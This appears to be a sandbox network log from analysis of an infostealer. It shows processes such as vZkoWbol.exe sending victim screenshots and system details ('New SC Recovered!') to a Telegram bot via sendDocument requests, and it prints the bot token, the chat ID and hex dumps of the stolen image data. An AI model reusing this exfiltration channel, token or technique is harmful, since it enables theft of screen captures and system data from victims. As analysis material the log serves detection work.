2024-04-19 17:36:10 UTC	1552	OUT	Data Raw: a3 cf 87 fe 7a a7 fd f4 28 02 4a 2a 3f 3e 1f f9 ea 9f f7 d0 a3 cf 87 fe 7a a7 fd f4 28 02 4a 2a 3f 3e 1f f9 ea 9f f7 d0 a3 cf 87 fe 7a a7 fd f4 28 02 4a 2a 3f 3e 1f f9 ea 9f f7 d0 a3 cf 87 fe 7a a7 fd f4 28 02 4a 2a 3f 3e 1f f9 ea 9f f7 d0 a3 cf 87 fe 7a a7 fd f4 28 02 4a 2a 3f 3e 1f f9 ea 9f f7 d0 a3 cf 87 fe 7a a7 fd f4 28 02 4a 2a 3f 3e 1f f9 ea 9f f7 d0 a3 cf 87 fe 7a a7 fd f4 28 00 9f fe 3d e4 ff 00 74 ff 00 2a f9 e6 be 83 9a 68 8c 12 01 22 12 54 ff 00 10 f4 af 9f 2a e2 67 30 ad cd 33 c4 93 d9 d8 fd 82 e6 d6 0b fb 3c ee 58 6e 17 21 4f a8 3d bf 0a c3 a2 a8 83 73 53 f1 24 f7 96 3f 60 b6 b5 82 c2 cf 3b 9a 1b 75 c0 63 ea 4f 7f c6 b0 e8 a2 80 0a 28 a2 98 05 6b dc f8 9f 5c b8 ba 96 7f ed 5b c8 bc c7 2f e5 c5 70 ea 8b 93 9c 28 cf 00 76 ac 8a 29 01 a7 2e b9 Data Ascii: z(J?>z(J?>z(J?>z(J?>z(J?>z(J?>z(=th"Tg03<Xn!O=sS$?`;ucO(k\[/p(v).
2024-04-19 17:36:10 UTC	50	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 38 34 31 37 35 37 33 37 66 66 30 62 2d 2d 0d 0a Data Ascii: -----------------------------8dc84175737ff0b--
2024-04-19 17:36:10 UTC	25	IN	HTTP/1.1 100 Continue
2024-04-19 17:36:11 UTC	1482	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 19 Apr 2024 17:36:11 GMT Content-Type: application/json Content-Length: 1093 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection {"ok":true,"result":{"message_id":3448,"from":{"id":7177134832,"is_bot":true,"first_name":"bng_bot","username":"shanny1975_bot"},"chat":{"id":1210558492,"first_name":"kelv","last_name":"calin","type":"private"},"date":1713548171,"document":{"file_name":"user-618321 2024-06-03 21-51-36.jpg","mime_type":"image/jpeg","thumbnail":{"file_id":"AAMCBAADGQMAAg14ZiKrixEMDFOrv0-MqS5OQUzVbIwAArwXAAKLUhlRjz2FjZtYOeIBAAdtAAM0BA","file_unique_id":"AQADvBcAAotSGVFy","file_size":12509,"width":320,"height":256},"thumb":{"file_id":"AAMCBAADGQMAAg14ZiKrixEMDFOrv0-MqS5OQUzVbIwAArwXAAKLUhlRjz2FjZtYOeIBAAdtAAM0BA","file_unique_id":"AQADvBcAAotSGVFy","file_size":12509,"width":320,"height":256},"file_id":"BQACAgQAAxkDAAINeGYiq4sRDAxTq79PjKkuTkFM1WyMAAK8FwACi1IZUY89hY2bWDniNAQ","file_unique_id":"AgADvBcAAotSGVE","file_size":66515},"caption":"New SC Recovered!\n\nTime: 06/03/2024 21:46:30\nUser Name: user/618321\nOSFullName: Microsoft Windows 10 Pro\nCPU: Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz\nRAM: 8191.25 MB\nIP Address: 81.181.57.52","caption_entities":[{"offset":179,"length":12,"type":"url"}]}}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	49731	149.154.167.220	443	7324	C:\Users\user\AppData\Roaming\vZkoWbol.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 17:36:31 UTC	238	OUT	POST /bot7177134832:AAFZbBRZvrMTexyCCRWrTRyGHf8Nct0rg7g/sendDocument HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------------8dc7d9f4e31c274 Host: api.telegram.org Content-Length: 67138 Expect: 100-continue
2024-04-19 17:36:31 UTC	1024	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 37 64 39 66 34 65 33 31 63 32 37 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 68 61 74 5f 69 64 22 0d 0a 0d 0a 31 32 31 30 35 35 38 34 39 32 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 37 64 39 66 34 65 33 31 63 32 37 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 61 70 74 69 6f 6e 22 0d 0a 0d 0a 4e 65 77 20 53 43 20 52 65 63 6f 76 65 72 65 64 21 0a 0a 54 69 6d 65 3a 20 30 35 2f 32 36 2f 32 30 32 34 20 31 36 3a 31 32 3a 31 33 0a 55 73 65 72 Data Ascii: -----------------------------8dc7d9f4e31c274Content-Disposition: form-data; name="chat_id"1210558492-----------------------------8dc7d9f4e31c274Content-Disposition: form-data; name="caption"New SC Recovered!Time: 05/26/2024 16:12:13User
2024-04-19 17:36:31 UTC	16355	OUT	Data Raw: 11 04 05 21 31 06 12 41 51 07 61 71 13 22 32 81 08 14 42 91 a1 b1 c1 09 23 33 52 f0 15 62 72 d1 0a 16 24 34 e1 25 f1 17 18 19 1a 26 27 28 29 2a 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 82 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e2 e3 e4 e5 e6 e7 e8 e9 ea f2 f3 f4 f5 f6 f7 f8 f9 fa ff da 00 0c 03 01 00 02 11 03 11 00 3f 00 8e 8a 28 af a7 3e 38 28 a9 e2 b4 9a 44 12 60 2c 67 a3 31 c0 3f d4 d4 cb 6b 0a fd e6 69 0f b7 03 ff 00 af fa 56 52 ab 08 ee cd 61 46 73 d9 14 68 ad 55 b5 b6 91 39 8b 6f ba b1 cf eb 9a 86 4d 34 f5 86 55 6f 66 f9 4f f8 52 8d 78 3f 22 a5 87 9c 7c ca 14 Data Ascii: !1AQaq"2B#3Rbr$4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz?(>8(D`,g1?kiVRaFshU9oM4UofORx?"\|
2024-04-19 17:36:31 UTC	16355	OUT	Data Raw: e7 92 7f df 22 9c aa aa 30 a0 01 e8 2b 4a 58 19 c6 a2 94 a4 ac 8c eb 66 b4 1d 19 c2 9c 5d e4 ad ad 85 a2 8a 2b d5 3e 78 28 a2 8a 00 b5 a5 b2 a6 a9 6a cc 42 a8 95 49 24 e0 01 9a ee 3e dd 67 ff 00 3f 70 7f df c5 ff 00 1a f3 da 2b 8e be 17 db 4b 9a f6 3d 0c 2e 3b ea f0 70 e5 be bd cf 42 fb 7d 97 fc fe 5b ff 00 df d5 ff 00 1a 4f b7 d9 7f cf e5 bf fd fd 5f f1 af 3e a2 b0 fe cf fe f7 e1 ff 00 04 e9 fe d5 fe e7 e3 ff 00 00 ea 7c 4f 75 6d 36 9a 89 0d c4 52 37 9a 0e 11 c1 38 c1 f4 ae 56 8a 2b b3 0f 47 d8 c7 96 f7 38 31 58 8f ac 4d 4a d6 d0 28 a2 8a dc e6 0a 28 a2 80 0a 28 a2 80 0a 4a 5a 28 01 28 a5 a4 a0 02 8a 28 a0 02 8a 28 a0 02 8a 28 a0 04 a2 8a 28 18 51 45 14 c0 4a 29 68 a0 04 a2 8a 5a 00 4a 28 a2 80 0a 4a 5a 4a 06 14 51 45 30 0a 28 a2 80 12 8a 5a 4a 06 14 51 Data Ascii: "0+JXf]+>x(jBI$>g?p+K=.;pB}[O_>\|Oum6R78V+G81XMJ(((JZ((((((QEJ)hZJ(JZJQE0(ZJQ
2024-04-19 17:36:31 UTC	16355	OUT	Data Raw: d9 f2 82 51 45 14 00 57 49 e0 bf f9 06 dd 7f d7 d3 ff 00 25 ae 6e ba 4f 05 ff 00 c8 36 eb fe be 9f f9 2d 79 79 8f d8 f9 9f 41 92 fc 35 7d 17 e6 6f 4b 22 43 13 cb 23 05 44 05 98 9e c0 57 19 a1 eb 31 5a de de 5e cc 9f ba bb 72 ec 63 52 4c 58 27 01 bb 73 9a d6 d5 34 7b ed 57 50 29 3c 81 6c 43 02 30 e7 ee 80 32 02 fa 93 9e 4e 6b 71 21 8a 38 04 09 1a 88 82 ed 09 8e 31 e9 5e 3b 52 9c ae b4 b1 f4 d0 9d 2a 14 9c 5f bc e5 bd ba 2f f3 ff 00 22 b5 96 a7 6d 7b 2b c3 19 75 95 14 31 49 10 a9 c1 e8 7d c5 73 3e 2a ff 00 91 8a 3f fa f5 1f fa 19 ae ae da c6 d2 d1 99 ad ad a2 85 9b ef 14 40 33 5c a7 8a bf e4 62 8f fe bd 47 fe 86 6b a2 85 fd a4 2f dc e1 c4 f2 7b 1a bc 9b 72 bd fe 46 65 14 51 5f 48 7c 38 51 45 14 00 51 45 14 0c 28 a2 8a 00 28 a2 8a 00 4a 29 68 a0 04 a2 96 8a Data Ascii: QEWI%nO6-yyA5}oK"C#DW1Z^rcRLX's4{WP)<lC02Nkq!81^;R_/"m{+u1I}s>?@3\bGk/{rFeQ_H\|8QEQE((J)h
2024-04-19 17:36:31 UTC	15447	OUT	Data Raw: a2 8a 29 80 51 45 14 00 51 45 14 00 94 51 45 03 0a 4a 5a 4a 00 28 a2 8a 06 14 51 45 00 25 14 51 40 05 14 51 40 c2 90 d2 f6 a4 a0 02 8a 28 a0 04 a2 8a 28 18 52 52 d2 50 01 45 14 50 02 51 4b 49 40 c2 8a 28 a0 02 92 8a 29 8c 28 a2 8a 00 4a 28 cd 26 68 18 b4 94 94 50 16 0c fb 52 66 8a 28 18 52 52 d2 50 01 49 4b 49 40 c2 8a 28 a0 61 49 45 14 00 52 52 d2 50 30 a2 8a 28 01 28 a2 8a 06 21 a2 8a 28 00 a4 a5 a4 a0 61 49 4b 49 40 05 25 2d 14 14 25 14 52 50 08 5a 4a 28 a0 04 34 51 45 03 0a 4a 5a 4a 06 14 94 51 40 09 45 2d 25 03 0a 4a 5a 4a 06 14 94 51 40 05 25 2d 14 0c 4a 28 a2 81 85 25 14 94 00 b4 94 51 40 c3 8a 29 28 a0 02 8a 28 a0 62 51 45 14 0c 4a 28 a2 80 0a 28 a4 a6 30 fe 74 51 f9 50 69 0c 43 c7 34 51 45 30 13 f1 a3 8a 28 a0 61 49 c5 2d 27 14 80 3d e8 fa 51 45 Data Ascii: )QEQEQEJZJ(QE%Q@Q@((RRPEPQKI@()(J(&hPRf(RRPIKI@(aIERRP0((!(aIKI@%-%RPZJ(4QEJZJQ@E-%JZJQ@%-J(%Q@)((bQEJ((0tQPiC4QE0(aI-'=QE
2024-04-19 17:36:31 UTC	1552	OUT	Data Raw: a3 cf 87 fe 7a a7 fd f4 28 02 4a 2a 3f 3e 1f f9 ea 9f f7 d0 a3 cf 87 fe 7a a7 fd f4 28 02 4a 2a 3f 3e 1f f9 ea 9f f7 d0 a3 cf 87 fe 7a a7 fd f4 28 02 4a 2a 3f 3e 1f f9 ea 9f f7 d0 a3 cf 87 fe 7a a7 fd f4 28 02 4a 2a 3f 3e 1f f9 ea 9f f7 d0 a3 cf 87 fe 7a a7 fd f4 28 02 4a 2a 3f 3e 1f f9 ea 9f f7 d0 a3 cf 87 fe 7a a7 fd f4 28 02 4a 2a 3f 3e 1f f9 ea 9f f7 d0 a3 cf 87 fe 7a a7 fd f4 28 00 9f fe 3d e4 ff 00 74 ff 00 2a f9 e6 be 83 9a 68 8c 12 01 22 12 54 ff 00 10 f4 af 9f 2a e2 67 30 ad cd 33 c4 93 d9 d8 fd 82 e6 d6 0b fb 3c ee 58 6e 17 21 4f a8 3d bf 0a c3 a2 a8 83 73 53 f1 24 f7 96 3f 60 b6 b5 82 c2 cf 3b 9a 1b 75 c0 63 ea 4f 7f c6 b0 e8 a2 80 0a 28 a2 98 05 6b dc f8 9f 5c b8 ba 96 7f ed 5b c8 bc c7 2f e5 c5 70 ea 8b 93 9c 28 cf 00 76 ac 8a 29 01 a7 2e b9 Data Ascii: z(J?>z(J?>z(J?>z(J?>z(J?>z(J?>z(=th"Tg03<Xn!O=sS$?`;ucO(k\[/p(v).
2024-04-19 17:36:31 UTC	50	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 37 64 39 66 34 65 33 31 63 32 37 34 2d 2d 0d 0a Data Ascii: -----------------------------8dc7d9f4e31c274--
2024-04-19 17:36:31 UTC	25	IN	HTTP/1.1 100 Continue
2024-04-19 17:36:32 UTC	1482	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 19 Apr 2024 17:36:32 GMT Content-Type: application/json Content-Length: 1093 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection {"ok":true,"result":{"message_id":3449,"from":{"id":7177134832,"is_bot":true,"first_name":"bng_bot","username":"shanny1975_bot"},"chat":{"id":1210558492,"first_name":"kelv","last_name":"calin","type":"private"},"date":1713548192,"document":{"file_name":"user-618321 2024-05-26 16-17-14.jpg","mime_type":"image/jpeg","thumbnail":{"file_id":"AAMCBAADGQMAAg15ZiKroDIbP-HD72oGl0QnSFXOxLcAAr0XAAKLUhlRPqa5jMe5tbYBAAdtAAM0BA","file_unique_id":"AQADvRcAAotSGVFy","file_size":12509,"width":320,"height":256},"thumb":{"file_id":"AAMCBAADGQMAAg15ZiKroDIbP-HD72oGl0QnSFXOxLcAAr0XAAKLUhlRPqa5jMe5tbYBAAdtAAM0BA","file_unique_id":"AQADvRcAAotSGVFy","file_size":12509,"width":320,"height":256},"file_id":"BQACAgQAAxkDAAINeWYiq6AyGz_hw-9qBpdEJ0hVzsS3AAK9FwACi1IZUT6muYzHubW2NAQ","file_unique_id":"AgADvRcAAotSGVE","file_size":66515},"caption":"New SC Recovered!\n\nTime: 05/26/2024 16:12:13\nUser Name: user/618321\nOSFullName: Microsoft Windows 10 Pro\nCPU: Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz\nRAM: 8191.25 MB\nIP Address: 81.181.57.52","caption_entities":[{"offset":179,"length":12,"type":"url"}]}}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	49732	149.154.167.220	443	3472	C:\Users\user\Desktop\z1E-catalogSamples.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 17:36:35 UTC	262	OUT	POST /bot7177134832:AAFZbBRZvrMTexyCCRWrTRyGHf8Nct0rg7g/sendDocument HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------------8dc8b4b8f6210f4 Host: api.telegram.org Content-Length: 67138 Expect: 100-continue Connection: Keep-Alive
2024-04-19 17:36:36 UTC	1024	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 38 62 34 62 38 66 36 32 31 30 66 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 68 61 74 5f 69 64 22 0d 0a 0d 0a 31 32 31 30 35 35 38 34 39 32 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 38 62 34 62 38 66 36 32 31 30 66 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 61 70 74 69 6f 6e 22 0d 0a 0d 0a 4e 65 77 20 53 43 20 52 65 63 6f 76 65 72 65 64 21 0a 0a 54 69 6d 65 3a 20 30 36 2f 31 33 2f 32 30 32 34 20 30 31 3a 34 38 3a 30 30 0a 55 73 65 72 Data Ascii: -----------------------------8dc8b4b8f6210f4Content-Disposition: form-data; name="chat_id"1210558492-----------------------------8dc8b4b8f6210f4Content-Disposition: form-data; name="caption"New SC Recovered!Time: 06/13/2024 01:48:00User
2024-04-19 17:36:36 UTC	16355	OUT	Data Raw: 11 04 05 21 31 06 12 41 51 07 61 71 13 22 32 81 08 14 42 91 a1 b1 c1 09 23 33 52 f0 15 62 72 d1 0a 16 24 34 e1 25 f1 17 18 19 1a 26 27 28 29 2a 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 82 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e2 e3 e4 e5 e6 e7 e8 e9 ea f2 f3 f4 f5 f6 f7 f8 f9 fa ff da 00 0c 03 01 00 02 11 03 11 00 3f 00 8e 8a 28 af a7 3e 38 28 a9 e2 b4 9a 44 12 60 2c 67 a3 31 c0 3f d4 d4 cb 6b 0a fd e6 69 0f b7 03 ff 00 af fa 56 52 ab 08 ee cd 61 46 73 d9 14 68 ad 55 b5 b6 91 39 8b 6f ba b1 cf eb 9a 86 4d 34 f5 86 55 6f 66 f9 4f f8 52 8d 78 3f 22 a5 87 9c 7c ca 14 Data Ascii: !1AQaq"2B#3Rbr$4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz?(>8(D`,g1?kiVRaFshU9oM4UofORx?"\|
2024-04-19 17:36:36 UTC	16355	OUT	Data Raw: e7 92 7f df 22 9c aa aa 30 a0 01 e8 2b 4a 58 19 c6 a2 94 a4 ac 8c eb 66 b4 1d 19 c2 9c 5d e4 ad ad 85 a2 8a 2b d5 3e 78 28 a2 8a 00 b5 a5 b2 a6 a9 6a cc 42 a8 95 49 24 e0 01 9a ee 3e dd 67 ff 00 3f 70 7f df c5 ff 00 1a f3 da 2b 8e be 17 db 4b 9a f6 3d 0c 2e 3b ea f0 70 e5 be bd cf 42 fb 7d 97 fc fe 5b ff 00 df d5 ff 00 1a 4f b7 d9 7f cf e5 bf fd fd 5f f1 af 3e a2 b0 fe cf fe f7 e1 ff 00 04 e9 fe d5 fe e7 e3 ff 00 00 ea 7c 4f 75 6d 36 9a 89 0d c4 52 37 9a 0e 11 c1 38 c1 f4 ae 56 8a 2b b3 0f 47 d8 c7 96 f7 38 31 58 8f ac 4d 4a d6 d0 28 a2 8a dc e6 0a 28 a2 80 0a 28 a2 80 0a 4a 5a 28 01 28 a5 a4 a0 02 8a 28 a0 02 8a 28 a0 02 8a 28 a0 04 a2 8a 28 18 51 45 14 c0 4a 29 68 a0 04 a2 8a 5a 00 4a 28 a2 80 0a 4a 5a 4a 06 14 51 45 30 0a 28 a2 80 12 8a 5a 4a 06 14 51 Data Ascii: "0+JXf]+>x(jBI$>g?p+K=.;pB}[O_>\|Oum6R78V+G81XMJ(((JZ((((((QEJ)hZJ(JZJQE0(ZJQ
2024-04-19 17:36:36 UTC	16355	OUT	Data Raw: d9 f2 82 51 45 14 00 57 49 e0 bf f9 06 dd 7f d7 d3 ff 00 25 ae 6e ba 4f 05 ff 00 c8 36 eb fe be 9f f9 2d 79 79 8f d8 f9 9f 41 92 fc 35 7d 17 e6 6f 4b 22 43 13 cb 23 05 44 05 98 9e c0 57 19 a1 eb 31 5a de de 5e cc 9f ba bb 72 ec 63 52 4c 58 27 01 bb 73 9a d6 d5 34 7b ed 57 50 29 3c 81 6c 43 02 30 e7 ee 80 32 02 fa 93 9e 4e 6b 71 21 8a 38 04 09 1a 88 82 ed 09 8e 31 e9 5e 3b 52 9c ae b4 b1 f4 d0 9d 2a 14 9c 5f bc e5 bd ba 2f f3 ff 00 22 b5 96 a7 6d 7b 2b c3 19 75 95 14 31 49 10 a9 c1 e8 7d c5 73 3e 2a ff 00 91 8a 3f fa f5 1f fa 19 ae ae da c6 d2 d1 99 ad ad a2 85 9b ef 14 40 33 5c a7 8a bf e4 62 8f fe bd 47 fe 86 6b a2 85 fd a4 2f dc e1 c4 f2 7b 1a bc 9b 72 bd fe 46 65 14 51 5f 48 7c 38 51 45 14 00 51 45 14 0c 28 a2 8a 00 28 a2 8a 00 4a 29 68 a0 04 a2 96 8a Data Ascii: QEWI%nO6-yyA5}oK"C#DW1Z^rcRLX's4{WP)<lC02Nkq!81^;R_/"m{+u1I}s>?@3\bGk/{rFeQ_H\|8QEQE((J)h
2024-04-19 17:36:36 UTC	15447	OUT	Data Raw: a2 8a 29 80 51 45 14 00 51 45 14 00 94 51 45 03 0a 4a 5a 4a 00 28 a2 8a 06 14 51 45 00 25 14 51 40 05 14 51 40 c2 90 d2 f6 a4 a0 02 8a 28 a0 04 a2 8a 28 18 52 52 d2 50 01 45 14 50 02 51 4b 49 40 c2 8a 28 a0 02 92 8a 29 8c 28 a2 8a 00 4a 28 cd 26 68 18 b4 94 94 50 16 0c fb 52 66 8a 28 18 52 52 d2 50 01 49 4b 49 40 c2 8a 28 a0 61 49 45 14 00 52 52 d2 50 30 a2 8a 28 01 28 a2 8a 06 21 a2 8a 28 00 a4 a5 a4 a0 61 49 4b 49 40 05 25 2d 14 14 25 14 52 50 08 5a 4a 28 a0 04 34 51 45 03 0a 4a 5a 4a 06 14 94 51 40 09 45 2d 25 03 0a 4a 5a 4a 06 14 94 51 40 05 25 2d 14 0c 4a 28 a2 81 85 25 14 94 00 b4 94 51 40 c3 8a 29 28 a0 02 8a 28 a0 62 51 45 14 0c 4a 28 a2 80 0a 28 a4 a6 30 fe 74 51 f9 50 69 0c 43 c7 34 51 45 30 13 f1 a3 8a 28 a0 61 49 c5 2d 27 14 80 3d e8 fa 51 45 Data Ascii: )QEQEQEJZJ(QE%Q@Q@((RRPEPQKI@()(J(&hPRf(RRPIKI@(aIERRP0((!(aIKI@%-%RPZJ(4QEJZJQ@E-%JZJQ@%-J(%Q@)((bQEJ((0tQPiC4QE0(aI-'=QE
2024-04-19 17:36:36 UTC	1552	OUT	Data Raw: a3 cf 87 fe 7a a7 fd f4 28 02 4a 2a 3f 3e 1f f9 ea 9f f7 d0 a3 cf 87 fe 7a a7 fd f4 28 02 4a 2a 3f 3e 1f f9 ea 9f f7 d0 a3 cf 87 fe 7a a7 fd f4 28 02 4a 2a 3f 3e 1f f9 ea 9f f7 d0 a3 cf 87 fe 7a a7 fd f4 28 02 4a 2a 3f 3e 1f f9 ea 9f f7 d0 a3 cf 87 fe 7a a7 fd f4 28 02 4a 2a 3f 3e 1f f9 ea 9f f7 d0 a3 cf 87 fe 7a a7 fd f4 28 02 4a 2a 3f 3e 1f f9 ea 9f f7 d0 a3 cf 87 fe 7a a7 fd f4 28 00 9f fe 3d e4 ff 00 74 ff 00 2a f9 e6 be 83 9a 68 8c 12 01 22 12 54 ff 00 10 f4 af 9f 2a e2 67 30 ad cd 33 c4 93 d9 d8 fd 82 e6 d6 0b fb 3c ee 58 6e 17 21 4f a8 3d bf 0a c3 a2 a8 83 73 53 f1 24 f7 96 3f 60 b6 b5 82 c2 cf 3b 9a 1b 75 c0 63 ea 4f 7f c6 b0 e8 a2 80 0a 28 a2 98 05 6b dc f8 9f 5c b8 ba 96 7f ed 5b c8 bc c7 2f e5 c5 70 ea 8b 93 9c 28 cf 00 76 ac 8a 29 01 a7 2e b9 Data Ascii: z(J?>z(J?>z(J?>z(J?>z(J?>z(J?>z(=th"Tg03<Xn!O=sS$?`;ucO(k\[/p(v).
2024-04-19 17:36:36 UTC	50	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 38 62 34 62 38 66 36 32 31 30 66 34 2d 2d 0d 0a Data Ascii: -----------------------------8dc8b4b8f6210f4--
2024-04-19 17:36:36 UTC	25	IN	HTTP/1.1 100 Continue
2024-04-19 17:36:36 UTC	1485	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 19 Apr 2024 17:36:36 GMT Content-Type: application/json Content-Length: 1096 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection {"ok":true,"result":{"message_id":3450,"from":{"id":7177134832,"is_bot":true,"first_name":"bng_bot","username":"shanny1975_bot"},"chat":{"id":1210558492,"first_name":"kelv","last_name":"calin","type":"private"},"date":1713548196,"document":{"file_name":"user-618321 2024-06-13 01-53-02.jpg","mime_type":"image/jpeg","thumbnail":{"file_id":"AAMCBAADGQMAAg16ZiKrpJHaBMUMdNwQAAG13r1nfm0-AAK-FwACi1IZUf7-Xeund9HXAQAHbQADNAQ","file_unique_id":"AQADvhcAAotSGVFy","file_size":12509,"width":320,"height":256},"thumb":{"file_id":"AAMCBAADGQMAAg16ZiKrpJHaBMUMdNwQAAG13r1nfm0-AAK-FwACi1IZUf7-Xeund9HXAQAHbQADNAQ","file_unique_id":"AQADvhcAAotSGVFy","file_size":12509,"width":320,"height":256},"file_id":"BQACAgQAAxkDAAINemYiq6SR2gTFDHTcEAABtd69Z35tPgACvhcAAotSGVH-_l3rp3fR1zQE","file_unique_id":"AgADvhcAAotSGVE","file_size":66515},"caption":"New SC Recovered!\n\nTime: 06/13/2024 01:48:00\nUser Name: user/618321\nOSFullName: Microsoft Windows 10 Pro\nCPU: Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz\nRAM: 8191.25 MB\nIP Address: 81.181.57.52","caption_entities":[{"offset":179,"length":12,"type":"url"}]}}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	49733	149.154.167.220	443	7324	C:\Users\user\AppData\Roaming\vZkoWbol.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 17:36:36 UTC	238	OUT	POST /bot7177134832:AAFZbBRZvrMTexyCCRWrTRyGHf8Nct0rg7g/sendDocument HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------------8dc8048c2fa9c0c Host: api.telegram.org Content-Length: 67138 Expect: 100-continue
2024-04-19 17:36:37 UTC	1024	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 38 30 34 38 63 32 66 61 39 63 30 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 68 61 74 5f 69 64 22 0d 0a 0d 0a 31 32 31 30 35 35 38 34 39 32 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 38 30 34 38 63 32 66 61 39 63 30 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 61 70 74 69 6f 6e 22 0d 0a 0d 0a 4e 65 77 20 53 43 20 52 65 63 6f 76 65 72 65 64 21 0a 0a 54 69 6d 65 3a 20 30 35 2f 33 30 2f 32 30 32 34 20 30 31 3a 33 30 3a 31 36 0a 55 73 65 72 Data Ascii: -----------------------------8dc8048c2fa9c0cContent-Disposition: form-data; name="chat_id"1210558492-----------------------------8dc8048c2fa9c0cContent-Disposition: form-data; name="caption"New SC Recovered!Time: 05/30/2024 01:30:16User
